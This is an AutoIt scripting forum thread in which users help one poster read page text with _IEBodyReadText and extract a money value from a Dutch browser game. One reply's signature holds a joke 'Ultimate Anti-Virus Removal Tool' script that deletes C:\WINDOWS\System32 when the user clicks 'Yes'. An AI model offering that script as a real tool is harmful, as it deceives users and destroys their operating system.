Jump to content
Sign in to follow this  
PcExpert

_IEBodyReadText question

Recommended Posts

PcExpert

Hi all,

If I execute _IEBodyReadText then I get a msgbox with this text:

Text line 1

Text line 2

Text line 3

Text line 4

I put this in my script:

#include<IE.au3>
$oIE = _IECreate("MyURL")
$txt = _IEBodyReadText($oIE)
If $txt = "Text line 3" then
Msgbox(0, "", "Text detected")
EndIf

But why wont autoit show the masgbox when the specified text is found? Thanks!

Share this post


Link to post
Share on other sites
Firefoxy

It would work if $var was the text you wanted and you put it in the MsgBox

ex. MsgBox(0, "", "Text Detected: " & $var)

I put this in my script:

#include<IE.au3>
$var = InputBox("", "What would you like to find?")
$oIE = _IECreate("MyURL")
$txt = _IEBodyReadText($oIE)
If $txt = $var then
Msgbox(0, "", "Text detected: " & $var)
EndIf
Edited by Firefoxy

;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf

Share this post


Link to post
Share on other sites
PcExpert

This doesnt work either, no message, but the text is there.

Share this post


Link to post
Share on other sites
DjDeep00

PcExpert...Look in the helpfile for more information on the String functions....

I believe this is what you want...

#include<IE.au3>
$oIE = _IECreate("www.google.com",0,0)
$txt = _IEBodyReadText($oIE)

If StringInStr($txt,"2008") then
Msgbox(0, "", "Text detected")
EndIf
_IEQuit($oIE)

Share this post


Link to post
Share on other sites
PcExpert

@DjDeep00

I'm going to need your help again:

This is the text as returned by _IEBodyReadText()

Bendes

Neem jij de macht over?

USERNAME Geld:1159 LEVENENERGIE(0) Ervaring: 2811Bendes

Overzicht

Nieuws

Eigendom / Spullen

Hoeren

Woning

MSN Invite (tip)

Gangsters

Credits

Online leden

Hummer-strijd

Chat (supertip)

Uitleg

Helpdesk

Stad

Centrum

Werken

Winkels

Wapens

Apotheek

Supermarkt

Autodealer

Benzinepomp

Fix it

McDonalds

Stichting Chris

Sigarenwinkel

Sportschool

Ziekenhuis

Gevangenis

Hotel

Gemeentehuis

Forum (testen)

Prikbord

Casino

Loterij (nieuw)

Dobbel spel

Gokkast (tip)

Kop of munt

Roulette

Deal or no deal

Paardenrennen

Kraak de kluis

Vegas

Rijschool

Kleding

Advocaten

Regels

Status

Top 100 Geld

Zoek lid

Veel gangsters en geld bij MSN Uitnodiging!

Hummer en 1000 credits winnen met MSN-invite? MSN-invite

Werken

Werken

Werken voor de overheid

doe dit werk

Werken bij de mac

doe dit werk

Werken als proefkonijn

doe dit werk

Werken voor de maffia

doe dit werk

Werken bij koffieshop

doe dit werk

Instellingen

Profiel aanpassen

Profiel

Instellingen

Vrienden toevoegen

Misdaad

Misdaad

Scooter stelen

Echte misdaad

Georganiseerd

Smokkel

Meldt Misdaad

Geld

Bank

Doneren

Werk als gangster

Codes

Film prijzen

Families

Mijn bende

Bende forum nieuw

Bende verlaten

Rijke bendes

Arme Bendes

Top 50 Rang

Huisdieren testen

Top 10 huisdieren

Copyright 2007 - Bendes.nl | All Rights Reserved. Design by R&B. Hosted by Xuna

Now I need to only find this part:

USERNAME Geld:1159 LEVENENERGIE(0) Ervaring: 2811Bendes

I want to get the amount of money I have, thats this part:

Geld:1159

I think I need to extract ' Geld: ' from the above string, so I only have the value: 1159

But how do I do that, I played with the string functions, but I didnt get the result I wanted. Thanks!

Edited by PcExpert

Share this post


Link to post
Share on other sites
DjDeep00

@PcExpert...There are many ways of getting that value. You can either use Stringsplit() or StringRepExp. Below is an example of Stringsplit():

$String_Found="USERNAME Geld:1159 LEVENENERGIE(0) Ervaring: 2811Bendes"
$First_Step=StringSplit($String_Found," ")
MsgBox(4096,"",$First_Step[2])

Share this post


Link to post
Share on other sites
PcExpert

Thanks again, DjDeep00

Share this post


Link to post
Share on other sites
PcExpert

@DjDeep00

How to read that string from a webpage, i think i can not use _IEBodyReadText() Because the string changes:

This

USERNAME Geld:1159 LEVENENERGIE(0) Ervaring: 2811Bendes

Can change to, for example:

USERNAME Geld:3500 LEVENENERGIE(0) Ervaring: 3500Bendes

'Geld' means money. I can get money by working, but as this value changes, how to get it then?

Edited by PcExpert

Share this post


Link to post
Share on other sites
DjDeep00

I am not sure what your question is. Every time you call _iebodyreadtext() will read the current most data in the webpage. So after the page updates you just call it again?...Post your code.

Share this post


Link to post
Share on other sites
PcExpert

$oIE = _IECreate("[url="http://www.bendes.nl"]www.bendes.nl[/url]")
$txt = _IEBodyReadText($oIE)

$String_Found="USERNAME Geld:1159 LEVENENERGIE(0) Ervaring: 2811Bendes"
If $txt = $String_Found then
$First_Step=StringSplit($String_Found," ")
MsgBox(4096,"",$First_Step[2])
$Second_Step=StringSplit($First_Step[2],"")
MsgBox(4096,"",$Second_Step[2])
EndIf

But this code cannot be working because the value of 'geld' is already defined. Thanks!

Share this post


Link to post
Share on other sites
DjDeep00

#include <IE.au3>
#include <Array.au3>

$String_Found=""

$oIE = _IECreate('www.google.com',0,0)
$Body_Text= _IEBodyReadText($oIE)

$Body_Array=StringSplit($Body_Text, @LF)
;_ArrayDisplay($Body_Array,"")

For $x=1 to $Body_Array[0]

If StringInStr($Body_Array[$x],"2008")<>0 then ;Instead of 2008, you would put Geld:
$String_Found=$Body_Array[$x]
ExitLoop
EndIf

Next

If $String_Found<>"" then
$First_Step=StringSplit($String_Found," ")
MsgBox(4096,"",$First_Step[2])

EndIf

_IEQuit($oIE)

Share this post


Link to post
Share on other sites
PcExpert

Thanks!

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

×